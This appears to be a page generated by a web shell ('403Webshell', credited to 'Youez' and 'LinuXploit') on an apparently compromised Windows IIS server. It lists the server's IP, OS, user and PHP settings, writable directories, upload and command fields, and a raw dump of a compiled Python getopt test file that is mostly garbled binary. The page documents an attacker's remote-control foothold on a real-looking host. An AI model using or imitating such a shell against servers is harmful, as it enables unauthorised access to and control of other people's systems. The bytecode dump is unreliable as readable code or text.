403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/__pycache__/test_getopt.cpython-312.pyc
�

���g���J�ddlZddlZddlZddlZddlmZmZddlmZe	�Z
Gd�dej�Zd�Z
Gd�de�Zd	�Zed
k(rSeej$�dkDr,ej$ddk(ree�ej&d�ej(�yy)
�N)�TestTranslationsBase�update_translation_snapshots)�EnvironmentVarGuardc�B�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zy
)�GetoptTestsc�Z�|jt��|_|jd=y)N�POSIXLY_CORRECT)�enterContextr�env��selfs �%C:\Python312\\Lib\test\test_getopt.py�setUpzGetoptTests.setUps%���$�$�%8�%:�;����H�H�&�'�c�L�|jtjg|��i|��y�N)�assertRaises�getopt�GetoptError)r
�args�kwargss   r�assertErrorzGetoptTests.assertErrors"������&�,�,�>�t�>�v�>rc���|jtjdd��|jtjdd��|j	tjdd�y)N�a�a:�b)�
assertTruer�
short_has_arg�assertFalserrs r�test_short_has_argzGetoptTests.test_short_has_argsN������,�,�S�$�7�8�����-�-�c�3�7�8�����-�-�s�C�8rc�>�tjddg�\}}|j|�|j|d�tjddg�\}}|j	|�|j|d�tjddg�\}}|j	|�|j|d�|jtjddg�|jtjdg�|jtjdddg�y)N�abc�abc=�abcd�def�abcde)r�
long_has_argsr�assertEqualrr)r
�has_arg�options   r�test_long_has_argszGetoptTests.test_long_has_argss��� �.�.�u�v�h�?�������� ������'� �.�.�u�u�g�>��������!������'� �.�.�u�v�h�?��������!������(�����-�-�u�u�g�>�����-�-�u�b�9�����-�-�u�v�g�6F�Grc��tjgddg�\}}|j|dg�|j|g�tjgddg�\}}|j|dg�|j|g�tjgdddg�\}}|j|dg�|j|g�tjgddddg�\}}|j|dg�|j|dg�|jtjgddg�|jtjgddg�y)Nr��-a��a1r�r.�1r2�2)r�	do_shortsr(r�r
�optsrs   r�test_do_shortszGetoptTests.test_do_shorts+s4���%�%�b�#�s�B�7�
��d�����
�|�,�����r�"��%�%�b�$��b�9�
��d������}�-�����r�"��%�%�b�#�t�c�U�;�
��d������}�-�����r�"��%�%�b�#�t�c�3�Z�@�
��d������}�-������u�%�����)�)�2�t�S�"�=�����)�)�2�s�D�"�=rc�"�tjgddgg�\}}|j|dg�|j|g�tjgddgg�\}}|j|dg�|j|g�tjgddgg�\}}|j|dg�|j|g�tjgdgd�g�\}}|j|dg�|j|g�tjgd	d
dgg�\}}|j|dg�|j|g�|jtjgddgg�|jtjgddgg�y)
Nr")�--abcr/zabc=1r#)r9r2zabcd=)z--abcdr2)�abr"r$zfoo=42zfoo-barzfoo=)z--foo�42)r�do_longsr(rr5s   r�
test_do_longszGetoptTests.test_do_longsCsm���_�_�R�����<�
��d�����
��/�����r�"��_�_�R��6�(�B�?�
��d������/�0�����r�"��_�_�R��7�)�R�@�
��d������0�1�����r�"��_�_�R��0E�r�J�
��d�����
��/�����r�"�
�_�_�R��I�v�3G��L�
��d������0�1�����r�"�������"�g��w��C�������"�e�f�X�r�Brc���gd�}tj|dddg�\}}|j|gd��|j|ddg�|jtj|dddg�y)	N)r.r2�-bz	--alpha=2�--betar.�3r.r/r@�arg1�arg2za:bzalpha=�beta)r1)r?r/)�--alphar3�r@r/)r.rAr-rFrBrC�alpha)rr(r�r
�cmdliner6rs    r�test_getoptzGetoptTests.test_getopt^sq��1���]�]�7�E�H�f�3E�F�
��d����� I�	J�
	
������/�0����������&�8I�Jrc�B�gd�}tj|dddg�\}}|j|dg�|j|gd��tjgd�dg�\}}|j|dg�|j|d	d
g�tj|dddg�\}}|j|d	g�|j|gd��d
|jd<tj|dddg�\}}|j|d	g�|j|gd��y)N)r.rBr?r2rE�--beta=2zab:rGzbeta=rB)r-)r?r2)rEr/)r@r3)r.�-r?rMrMr-)r?rMz+ab:)rBr?r2rErLr2r	)r�
gnu_getoptr(rrHs    r�test_gnu_getoptzGetoptTests.test_gnu_getoptos$��B���&�&�w����7I�J�
��d������x�(����� B�	C��&�&�'=�u�b�I�
��d������u�%�����
�K�8�9��&�&�w���'�8J�K�
��d�����
�|�,�����I�J�'*����"�#��&�&�w����7I�J�
��d�����
�|�,�����I�Jrc�&�tjdgddg�\}}|j|dg�tjdgddg�\}}|j|dg�|jtjtjdgddg�y)Nz--help=r/zhelp=)�--helpr/z--help=x)rQ�x�help)rr(rr)r
�longopts�	shortoptss   r�test_issue4629zGetoptTests.test_issue4629�s���$�m�m�Y�K��g�Y�G���)�����N�#3�4�$�m�m�Z�L�"�w�i�H���)�����O�#4�5����&�,�,�f�m�m�i�[�"�v�h�WrN)�__name__�
__module__�__qualname__rrr r+r7r=rJrOrV�rrrr
s4��(�?�9�
H�">�0C�6K�"K�4Xrrc��y)a~
    Examples from the Library Reference:  Doc/lib/libgetopt.tex

    An example using only Unix style options:


    >>> import getopt
    >>> args = '-a -b -cfoo -d bar a1 a2'.split()
    >>> args
    ['-a', '-b', '-cfoo', '-d', 'bar', 'a1', 'a2']
    >>> optlist, args = getopt.getopt(args, 'abc:d:')
    >>> optlist
    [('-a', ''), ('-b', ''), ('-c', 'foo'), ('-d', 'bar')]
    >>> args
    ['a1', 'a2']

    Using long option names is equally easy:


    >>> s = '--condition=foo --testing --output-file abc.def -x a1 a2'
    >>> args = s.split()
    >>> args
    ['--condition=foo', '--testing', '--output-file', 'abc.def', '-x', 'a1', 'a2']
    >>> optlist, args = getopt.getopt(args, 'x', [
    ...     'condition=', 'output-file=', 'testing'])
    >>> optlist
    [('--condition', 'foo'), ('--testing', ''), ('--output-file', 'abc.def'), ('-x', '')]
    >>> args
    ['a1', 'a2']
    NrZrZrr�test_libref_examplesr\�s�rc��eZdZd�Zy)�TestTranslationsc�.�|jt�yr)�assertMsgidsEqualrrs r�test_translationsz"TestTranslations.test_translations�s�����v�&rN)rWrXrYrarZrrr^r^�s��'rr^c�L�|jtj��|Sr)�addTest�doctest�DocTestSuite)�loader�tests�patterns   r�
load_testsri�s��	�M�M�'�&�&�(�)��Lr�__main__�z--snapshot-update)rdr�sys�unittest�test.support.i18n_helperrr�test.support.os_helperr�object�sentinel�TestCaserr\r^rirW�len�argv�exit�mainrZrr�<module>rws����
�
��W�6��8��AX�(�#�#�AX�F�B'�+�'�
�
�z��
�3�8�8�}�q��S�X�X�a�[�,?�?�$�V�,��������H�M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit